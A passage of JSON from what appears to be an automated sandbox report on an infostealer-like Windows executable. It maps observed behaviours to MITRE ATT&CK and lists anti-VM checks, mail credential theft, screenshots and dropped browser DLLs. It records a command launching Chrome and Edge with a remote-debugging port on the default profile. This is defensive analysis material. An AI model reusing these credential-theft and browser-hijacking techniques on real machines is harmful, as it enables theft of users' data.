Channel"},{"attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal from Tools"},{"attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"section contains high entropy"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Embedded Payloads"},{"attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Information Repositories"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"},{"attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","identifiers":[{"type":"suspicious","value":"Able to evade execution by checking for blacklisted external IPs"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Reconnaissance","technique":"IP Addresses"},{"attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Resource Development","technique":"Domains"},{"attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"YARA signature match - ChaCha20 256-bit algorithm"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"YARA signature match - ChaCha20 128-bit algorithm"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"}],"rule_matches":{},"sandbox_signatures":[{"category":"Anti-Detection/Stealthyness","description":"$23","id":"string-504","level":"informative","mitre_attack_id":"T1132","name":"PCAP contains base64 strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve/modify process thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$24","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$25","id":"static-96","level":"informative","name":"PE file entrypoint instructions","origin":"Static Parser","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-453","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to set options for internet handles (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"GetUserNameA\" (UID: 00000000-00001720)","id":"api-135","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user name","origin":"API Call","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$26","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$27","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"CreateProcessA\" with parameter \"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe --remote-debugging-port=9229 --profile-directory=\"Default\"\" - (UID: 00000000-00001720)\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"CreateProcessA\" with parameter \"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe --remote-debugging-port=9229 --profile-directory=\"Default\"\" - (UID: 00000000-00001720)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API Call","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$28","id":"string-78","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to capture screen (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameExA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-164","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"nss3_1_.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"chrome.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"freebl3.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"mozglue.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"msvcp140_1_.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"softokn3_1_.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"vcruntime140.dll\" was detected as \"Borland Delphi 3.0 (???)\"","id":"static-18","level":"informative","mitre_attack_id":"T1027.002","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$29","id":"binary-1","level":"suspicious","mitre_attack_id":"T1105","name":"Drops executable files","origin":"Binary File","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"External Systems","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","id":"avtest-8","level":"malicious","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","origin":"External System","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to perform anti-VM checks using CPUID\n Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Contains ability to detect virtual environment","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"nss3_1_.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"chrome.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"freebl3.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"mozglue.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"msvcp140_1_.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"softokn3_1_.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"vcruntime140.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","id":"static-153","level":"informative","name":"Uses 32 bit executable PE","origin":"Static Parser","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"$2a","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-224","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to retrieve the local name for a socket (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" opened \"C:\\ProgramData\\GIIIECBGDHJJKFIDAKJD\" with delete access\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" opened \"C:\\ProgramData\\IIJDBGDG\" with delete access","id":"api-25","level":"suspicious","mitre_attack_id":"T1070.004","name":"Opens file with deletion access rights","origin":"API Call","relevance":7,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$2b","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"CertFreeCertificateContext\" (Indicator: \"CertFreeCertificateContext\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CertFindCertificateInStore\" (Indicator: \"CertFindCertificateInStore\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CryptMsgClose\" (Indicator: \"CryptMsgClose\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CertGetNameStringW\" (Indicator: \"CertGetNameString\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-438","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to perform AES/RC4 encryption (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-206","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to retrieve the command-line string for the current process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$2c","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for ChaCha20 128-bit key algorithm matched on file \"freebl3.dll\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"freebl3_1_.dll\"","id":"yara-57","level":"suspicious","mitre_attack_id":"T1027","name":"YARA signature match - ChaCha20 128-bit algorithm","origin":"YARA Signature","relevance":9,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"nss3_1_.dll\" claimed CRC 2108780 while the actual is CRC 685505\n \"freebl3.dll\" claimed CRC 720331 while the actual is CRC 723736\n \"mozglue.dll\" claimed CRC 633450 while the actual is CRC 720331\n \"msvcp140_1_.dll\" claimed CRC 450604 while the actual is CRC 633450\n \"softokn3_1_.dll\" claimed CRC 288595 while the actual is CRC 450604\n \"vcruntime140.dll\" claimed CRC 93652 while the actual is CRC 288595","id":"static-0","level":"suspicious","mitre_attack_id":"T1027","name":"CRC value set in PE header does not match actual value","origin":"Static Parser","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","id":"summary-27","level":"informative","mitre_attack_id":"T1119","name":"Shows ability to send encrypted data to the internet","origin":"Indicator Combinations","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$2d","id":"registry-37","level":"malicious","mitre_attack_id":"T1114","name":"Tries to steal Mail credentials from registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for AES encryption matched on process \"00000000-00001720\"","id":"yara-103","level":"informative","mitre_attack_id":"T1027","name":"YARA signature match - AES encryption","origin":"YARA Signature","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-541","level":"informative","name":"Contains ability to create/switch the desktop (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2701199217\"\n \"cx\": \"1280\"\n \"cy\": \"800\"}","id":"api-105","level":"informative","mitre_attack_id":"T1113","name":"Calls an API possibly used to take screenshots","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"UDP connection to 142.250.65.196\"\n \"UDP connection to 142.251.40.99\"","id":"network-5","level":"suspicious","mitre_attack_id":"T1095","name":"Sends UDP traffic","origin":"Network Traffic","relevance":7,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-320","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to pass information to a window procedure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75040000\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72C60000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-539","level":"informative","mitre_attack_id":"T1071.001","name":"Contains reference to Windows internet services (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"$2e","id":"memorydump-2","level":"informative","mitre_attack_id":"T1071","name":"Found potential URLs in memory dumps","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"file/memory contains long string with (Indicator: \"64.124.12.162\"; File: \"FIIDBKJJDGHDHJKEHJDBFCFBAE\")","id":"string-643","level":"suspicious","mitre_attack_id":"T1590.005","name":"Able to evade execution by checking for blacklisted external IPs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$2f","id":"string-226","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"file/memory contains long string with (Indicator: \"select * from \"; File: \"softokn3_1_.dll\")","id":"string-433","level":"informative","mitre_attack_id":"T1047","name":"Contains ability to execute a WMI query","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-248","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine timezone (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-141","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76C30000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$30","id":"api-229","level":"informative","mitre_attack_id":"T1027","name":"Calls an API typically used to convert data from string to binary","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$31","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-419","level":"informative","mitre_attack_id":"T1571","name":"Contains ability to open a port and listen for incoming connection (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"GetComputerNameA\" (UID: 00000000-00001720)\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"GetComputerNameW\" (UID: 00000000-00001720)","id":"api-141","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve computer name","origin":"API Call","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$32","id":"string-96","level":"informative","mitre_attack_id":"T1012","name":"Found registry key string for installed applications","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: chrome.dll]","id":"static-88","level":"informative","mitre_attack_id":"T1106","name":"Imports GetCommandLine API","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-439","level":"informative","mitre_attack_id":"T1055.003","name":"Contains ability to modify process memory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-661","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment by using user activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-171","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the OS information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$33","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-537","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a new HTTP request (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"freebl3.dll\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"freebl3_1_.dll\"","id":"yara-44","level":"suspicious","mitre_attack_id":"T1027","name":"YARA signature match - ChaCha20 256-bit algorithm","origin":"YARA Signature","relevance":9,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-409","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to set file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-322","level":"informative","mitre_attack_id":"T1570","name":"Contains ability to move file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"nss3_1_.dll\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n 